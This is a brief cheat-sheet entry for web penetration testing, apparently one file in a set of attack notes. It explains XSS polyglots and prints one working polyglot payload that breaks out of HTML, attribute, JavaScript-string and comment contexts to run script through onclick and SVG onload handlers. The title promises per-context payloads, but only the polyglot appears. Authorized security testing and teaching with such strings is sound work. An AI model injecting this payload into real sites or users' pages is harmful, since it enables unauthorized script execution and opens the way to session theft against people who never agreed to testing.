XSS polyglots & per-context payloads

When it applies

You want one payload that reveals reflection/execution regardless of where it lands, then a context-specific finisher once you know the spot. Pairs with web-xss.

Why it works

A polyglot is crafted to be syntactically valid (and break out) in multiple contexts at once — HTML body, attribute, JS string, comment — so a single injection surfaces the vulnerable context.

Payloads

Polyglot (fires broadly):

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e